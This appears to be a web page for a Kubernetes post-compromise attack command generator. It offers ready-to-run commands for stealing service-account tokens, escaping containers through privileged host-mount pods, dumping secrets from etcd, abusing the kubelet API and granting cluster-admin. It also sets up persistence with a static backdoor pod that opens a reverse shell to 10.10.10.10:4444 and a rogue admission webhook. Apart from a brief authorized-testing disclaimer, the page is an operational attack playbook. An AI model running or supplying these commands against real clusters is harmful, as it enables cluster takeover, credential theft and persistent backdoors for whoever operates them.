Post-compromise cloud attack command generator for Kubernetes RBAC abuse, container escape techniques, and AWS / GCP / Azure IAM privilege escalation chains. Enter target environment details above to substitute live values into all commands. For authorized penetration testing only.
# ── List all service accounts in namespace ────────────────
kubectl get serviceaccounts -n default
kubectl get serviceaccounts --all-namespaces
# ── Describe a specific service account ───────────────
kubectl describe serviceaccount my-service-account -n default
# ── List secrets (tokens) attached to service accounts ─
kubectl get secrets -n default
kubectl describe secret $(kubectl get secret -n default | grep my-service-account | awk '{print $1}') -n default
# ── Common automounted token paths inside a pod ────────
cat /var/run/secrets/kubernetes.io/serviceaccount/token
cat /var/run/secrets/kubernetes.io/serviceaccount/ca.crt
cat /var/run/secrets/kubernetes.io/serviceaccount/namespace
# ── Find service accounts with automounting enabled ───
kubectl get serviceaccounts -o json --all-namespaces | jq '.items[] | select(.automountServiceAccountToken != false) | {name: .metadata.name, ns: .metadata.namespace}'# ── Check what actions current context can perform ────
kubectl auth can-i --list
kubectl auth can-i --list -n default
# ── Check permissions for a specific service account ──
kubectl auth can-i --list --as=system:serviceaccount:default:my-service-account
# ── List all ClusterRoleBindings ───────────────────────
kubectl get clusterrolebindings -o wide
kubectl describe clusterrolebinding cluster-admin
# ── List RoleBindings in namespace ────────────────────
kubectl get rolebindings -n default -o wide
# ── Find over-privileged service accounts ─────────────
kubectl get clusterrolebindings -o json | jq '.items[] | select(.subjects[]?.kind == "ServiceAccount") | {name: .metadata.name, role: .roleRef.name, subjects: .subjects}'
# ── Check if wildcard permissions exist ───────────────
kubectl get clusterroles -o json | jq '.items[] | select(.rules[]?.verbs[]? == "*") | .metadata.name'
# ── Who can create pods (potential escape vector) ─────
kubectl get clusterrolebindings,rolebindings -A -o json | jq -r '.items[] | select(.roleRef.name | contains("admin")) | "(.metadata.namespace // "cluster") (.subjects[]?.name)"'# ── Extract JWT token from running pod ─────────────── TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token) echo $TOKEN # ── Decode token (inspect claims) — use jwt.io or: ─── echo $TOKEN | cut -d. -f2 | base64 -d 2>/dev/null | python3 -m json.tool # ── Find kube-apiserver address ─────────────────────── APISERVER=https://$(env | grep KUBERNETES_SERVICE_HOST | cut -d= -f2):$(env | grep KUBERNETES_SERVICE_PORT_HTTPS | cut -d= -f2) # OR: cat /var/run/secrets/kubernetes.io/serviceaccount/namespace (get namespace) # Then check: kubectl cluster-info # ── Use token to call kube-apiserver directly ───────── CACERT=/var/run/secrets/kubernetes.io/serviceaccount/ca.crt curl -s --cacert $CACERT -H "Authorization: Bearer $TOKEN" $APISERVER/api/v1/namespaces/default/pods curl -s --cacert $CACERT -H "Authorization: Bearer $TOKEN" $APISERVER/api/v1/namespaces/default/secrets curl -s --cacert $CACERT -H "Authorization: Bearer $TOKEN" $APISERVER/apis/rbac.authorization.k8s.io/v1/clusterrolebindings # ── List all resources accessible via token ─────────── curl -s --cacert $CACERT -H "Authorization: Bearer $TOKEN" $APISERVER/api/v1/ | jq '.resources[].name' # ── Use stolen token from outside the cluster ───────── kubectl --token=$TOKEN --server=https://TARGET_K8S_API:6443 --insecure-skip-tls-verify get pods -A
# ── Deploy privileged pod that mounts host filesystem ──
cat <<'EOF' | kubectl apply -f -
apiVersion: v1
kind: Pod
metadata:
name: privesc-pod
namespace: default
spec:
hostPID: true
hostNetwork: true
containers:
- name: privesc
image: ubuntu:latest
command: ["/bin/bash", "-c", "sleep 3600"]
securityContext:
privileged: true
volumeMounts:
- mountPath: /host
name: host-root
volumes:
- name: host-root
hostPath:
path: /
type: Directory
EOF
# ── Exec into the pod ─────────────────────────────────
kubectl exec -it privesc-pod -n default -- /bin/bash
# ── Inside pod: escape to host via nsenter ────────────
nsenter -t 1 -m -u -i -n -p -- /bin/bash
# ── OR: chroot to host filesystem ────────────────────
chroot /host /bin/bash
# ── Add your SSH key to host root user ────────────────
mkdir -p /host/root/.ssh
echo "ssh-rsa AAAA...your-pubkey..." >> /host/root/.ssh/authorized_keys
chmod 600 /host/root/.ssh/authorized_keys
# ── Read node's kubelet config / credentials ──────────
cat /host/etc/kubernetes/kubelet.conf
cat /host/var/lib/kubelet/config.yaml# ── Check if etcd is exposed (typically port 2379) ──── nmap -p 2379 <master-node-ip> curl -k https://<etcd-ip>:2379/health # ── Dump all secrets from etcd ──────────────────────── # Requires etcd client certs (find on master node): ls /etc/kubernetes/pki/etcd/ ETCDCTL_API=3 etcdctl \ --endpoints=https://127.0.0.1:2379 \ --cacert=/etc/kubernetes/pki/etcd/ca.crt \ --cert=/etc/kubernetes/pki/etcd/healthcheck-client.crt \ --key=/etc/kubernetes/pki/etcd/healthcheck-client.key \ get "" --prefix --keys-only # ── Get all secrets from etcd ───────────────────────── ETCDCTL_API=3 etcdctl \ --endpoints=https://127.0.0.1:2379 \ --cacert=/etc/kubernetes/pki/etcd/ca.crt \ --cert=/etc/kubernetes/pki/etcd/healthcheck-client.crt \ --key=/etc/kubernetes/pki/etcd/healthcheck-client.key \ get /registry/secrets --prefix -w json | jq . # ── Extract admin kubeconfig from etcd ──────────────── ETCDCTL_API=3 etcdctl \ --endpoints=https://127.0.0.1:2379 \ --cacert=/etc/kubernetes/pki/etcd/ca.crt \ --cert=/etc/kubernetes/pki/etcd/healthcheck-client.crt \ --key=/etc/kubernetes/pki/etcd/healthcheck-client.key \ get /registry/configmaps/kube-system --prefix | strings | grep -A50 "kubeconfig" # ── All Kubernetes secrets (base64 encoded values) ──── ETCDCTL_API=3 etcdctl \ --endpoints=https://127.0.0.1:2379 \ --cacert=/etc/kubernetes/pki/etcd/ca.crt \ --cert=/etc/kubernetes/pki/etcd/healthcheck-client.crt \ --key=/etc/kubernetes/pki/etcd/healthcheck-client.key \ get /registry/secrets/default --prefix | xxd | grep -A1 "data:"
# ── Port scan for kubelet API (10250 = authenticated, 10255 = unauthenticated) ── nmap -p 10250,10255 <node-ip> # ── Unauthenticated kubelet (port 10255) ────────────── curl -sk http://<node-ip>:10255/pods | jq '.items[].metadata.name' curl -sk http://<node-ip>:10255/runningpods | jq . # ── Authenticated kubelet API (10250) ───────────────── # Requires client cert or token — try with service account token: curl -sk -H "Authorization: Bearer $TOKEN" https://<node-ip>:10250/pods # ── List all pods on the node ───────────────────────── curl -sk https://<node-ip>:10250/pods # ── Execute command in a running container ──────────── curl -sk -X POST https://<node-ip>:10250/run/<namespace>/<pod>/<container> \ -d "cmd=id" # ── Stream container logs ────────────────────────────── curl -sk https://<node-ip>:10250/containerLogs/<namespace>/<pod>/<container> # ── Run command without RBAC checks (bypass API server) ── curl -sk -X POST https://<node-ip>:10250/exec/<namespace>/<pod>/<container>?command=bash&command=-i&stdin=true&stdout=true&stderr=true&tty=true
# ── Create ClusterRoleBinding for attacker account ─── kubectl create clusterrolebinding attacker-admin \ --clusterrole=cluster-admin \ --serviceaccount=default:my-service-account # ── Grant cluster-admin to any user ────────────────── kubectl create clusterrolebinding attacker-admin \ --clusterrole=cluster-admin \ [email protected] # ── Persistence: static pod on master node ──────────── # Write to /etc/kubernetes/manifests/ on master: cat <<'EOF' > /etc/kubernetes/manifests/backdoor.yaml apiVersion: v1 kind: Pod metadata: name: backdoor namespace: kube-system spec: hostNetwork: true hostPID: true containers: - name: backdoor image: ubuntu:latest command: ["/bin/bash", "-c", "bash -i >& /dev/tcp/10.10.10.10/4444 0>&1"] securityContext: privileged: true volumeMounts: - mountPath: /host name: host-root volumes: - name: host-root hostPath: path: / EOF # ── Modify admission controller webhook for persistence ── kubectl get validatingwebhookconfigurations kubectl get mutatingwebhookconfigurations # ── Create rogue admission webhook ──────────────────── cat <<'EOF' | kubectl apply -f - apiVersion: admissionregistration.k8s.io/v1 kind: MutatingWebhookConfiguration metadata: name: backdoor-webhook webhooks: - name: backdoor.10.10.10.10.nip.io clientConfig: url: "https://10.10.10.10:8443/mutate" rules: - apiGroups: [""] apiVersions: ["v1"] operations: ["CREATE"] resources: ["pods"] admissionReviewVersions: ["v1"] sideEffects: None EOF